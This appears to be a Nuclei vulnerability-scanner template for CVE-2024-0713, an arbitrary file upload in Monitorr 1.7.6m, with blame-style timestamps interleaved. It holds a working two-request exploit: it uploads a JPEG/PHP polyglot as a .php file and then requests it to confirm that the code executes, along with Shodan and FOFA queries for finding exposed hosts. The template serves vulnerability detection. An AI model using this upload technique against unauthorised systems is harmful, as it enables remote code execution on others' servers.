2024-02-19 09:08:16 +00:00
id : CVE-2024-0713
info :
2024-02-22 08:16:30 +00:00
name : Monitorr Services Configuration - Arbitrary File Upload
2024-02-19 09:08:16 +00:00
author : DhiyaneshDK
severity : high
description : |
2024-02-22 08:16:30 +00:00
A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE : The vendor was contacted early about this disclosure but did not respond in any way.
2024-02-19 09:08:16 +00:00
reference :
- https://github.com/Tropinene/Yscanner
- https://github.com/fkie-cad/nvd-json-data-feeds
2024-02-22 08:16:30 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2024-0713
2024-02-19 09:08:16 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2024-0713
cwe-id : CWE-434
epss-score : 0.00061
epss-percentile : 0.2356
2024-03-23 09:28:19 +00:00
cpe : cpe:2.3:a:monitorr:monitorr:1.7.6m:*:*:*:*:*:*:*
2024-02-19 09:08:16 +00:00
metadata :
2024-03-23 09:28:19 +00:00
verified : true
max-request : 2
2024-02-19 09:08:16 +00:00
vendor : monitorr
product : monitorr
2024-03-04 08:20:22 +00:00
fofa-query : "icon_hash=\"-211006074\""
2024-05-31 19:23:20 +00:00
shodan-query : http.favicon.hash:"-211006074"
2024-02-19 09:08:16 +00:00
tags : cve,cve2024,file-upload,intrusive,monitorr
variables :
file : "{{to_lower(rand_text_alpha(5))}}"
flow : http(1) && http(2)
http :
- raw :
- |
POST /assets/php/upload.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryaquxwjsn
2024-02-19 09:11:37 +00:00
2024-02-19 09:08:16 +00:00
------WebKitFormBoundaryaquxwjsn
Content-Disposition : form-data; name="fileToUpload"; filename="{{file}}.php"
Content-Type : image/jpeg
2024-02-19 09:11:37 +00:00
2024-02-19 09:08:16 +00:00
{{base64_decode('/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooooA//2Tw/cGhwIGVjaG8gJ3h4eHh4eGF0ZmVyc290Zyc7Pz4=')}}
------WebKitFormBoundaryaquxwjsn--
matchers :
- type : word
part : body
2024-02-22 08:16:30 +00:00
internal : true
2024-02-19 09:08:16 +00:00
words :
- "has been uploaded to:"
- raw :
- |
GET /assets/data/usrimg/{{file}}.php HTTP/1.1
Host : {{Hostname}}
2024-02-22 08:16:30 +00:00
matchers-condition : and
2024-02-19 09:08:16 +00:00
matchers :
- type : word
part : body
words :
- "atfersotg"
2024-02-22 08:16:30 +00:00
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4a0a0047304502201055181c903e98898674fdb23437eb0e90871b42745b5c0d4aad9e3129dddf11022100c04264cde1575aff618e4b83359fa39d048cb64fbc9c3adbced30e325768c289:922c64590222798bb761d5b6d8e72950